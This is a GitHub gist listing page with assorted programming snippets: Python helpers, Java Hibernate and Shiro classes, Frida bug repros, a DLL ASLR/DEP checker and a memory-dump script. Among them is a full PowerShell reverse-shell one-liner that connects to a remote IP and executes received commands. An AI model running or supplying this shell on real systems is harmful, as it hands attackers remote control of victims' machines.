Skip to content

Instantly share code, notes, and snippets.

@Ayrx
Ayrx / enum.py
Created October 10, 2013 03:17
Code snippet for using enum in Python 2. http://stackoverflow.com/a/1695250/1170681
def enum(**enums):
return type('Enum', (), enums)
@Ayrx
Ayrx / constant_compare.py
Created November 29, 2013 11:53
Function for constant time string comparison.
def is_equal(a, b):
if len(a) != len(b):
return False
result = 0
for x, y in zip(a, b):
result |= x ^ y
return result == 0
@Ayrx
Ayrx / BcryptCredentialsMatcher.java
Created July 19, 2013 15:30
A hack to get Apache Shiro to work with Bcrypt.
/**
* @author: Terry Chia (Ayrx)
*/
public class BcryptCredentialsMatcher implements CredentialsMatcher {
@Override
public boolean doCredentialsMatch(AuthenticationToken token, AuthenticationInfo info) {
String password;
@Ayrx
Ayrx / IntegerArrayType.java
Created August 6, 2013 12:23
A custom UserType that enables Hibernate to map a Java integer array to a PostgreSQL integer array.
public class IntegerArrayType implements UserType {
protected static final int SQLTYPE = java.sql.Types.ARRAY;
@Override
public Object nullSafeGet(final ResultSet rs, final String[] names, final SessionImplementor sessionImplementor, final Object owner) throws HibernateException, SQLException {
Array array = rs.getArray(names[0]);
Integer[] javaArray = (Integer[]) array.getArray();
return ArrayUtils.toPrimitive(javaArray);
}
@Ayrx
Ayrx / foo.c
Last active March 26, 2019 03:27
Frida Stalker Crash
#include <stdio.h>
#include <unistd.h>
int main() {
while (1) {
printf("hello\n");
sleep(1);
}
}
@Ayrx
Ayrx / aslr_dep.py
Created October 11, 2013 14:16
Script to check if a DLL has been compiled with ASLR and DEP support. Inspired by http://security.stackexchange.com/questions/43681/how-can-i-detect-or-inventory-all-dlls-that-dont-use-aslr
import argparse
import os
import pefile
class DllCharacteristics():
def __init__(self):
self.IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = False
self.IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = False
self.IMAGE_DLLCHARACTERISTICS_NO_BIND = False
@Ayrx
Ayrx / repro.js
Created April 23, 2020 04:30
Frida Bug?
var m = "python2.7";
var ex = "PyTraceBack_Type";
var module = Process.getModuleByName(m)
console.log(JSON.stringify(module));
for (var e of module.enumerateExports()) {
if (e.name == ex) {
console.log(JSON.stringify(e));
}
@Ayrx
Ayrx / powershell_reverse_shell.ps1
Created September 4, 2020 02:44 — forked from egre55/powershell_reverse_shell.ps1
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@Ayrx
Ayrx / fermat.py
Created June 28, 2013 13:48
Python implementation of the Fermat Primality Test
def fermat_test(n, k):
# Implementation uses the Fermat Primality Test
# If number is even, it's a composite number
if n == 2:
return True
if n % 2 == 0:
@Ayrx
Ayrx / memdump.py
Created April 6, 2014 05:53 — forked from ntrrgc/memdump.py
#!/usr/bin/env python
from __future__ import print_function
import sys
import os
import re
import ctypes
import argparse
ulseek = ctypes.cdll['libc.so.6'].lseek
ulseek.restype = ctypes.c_uint64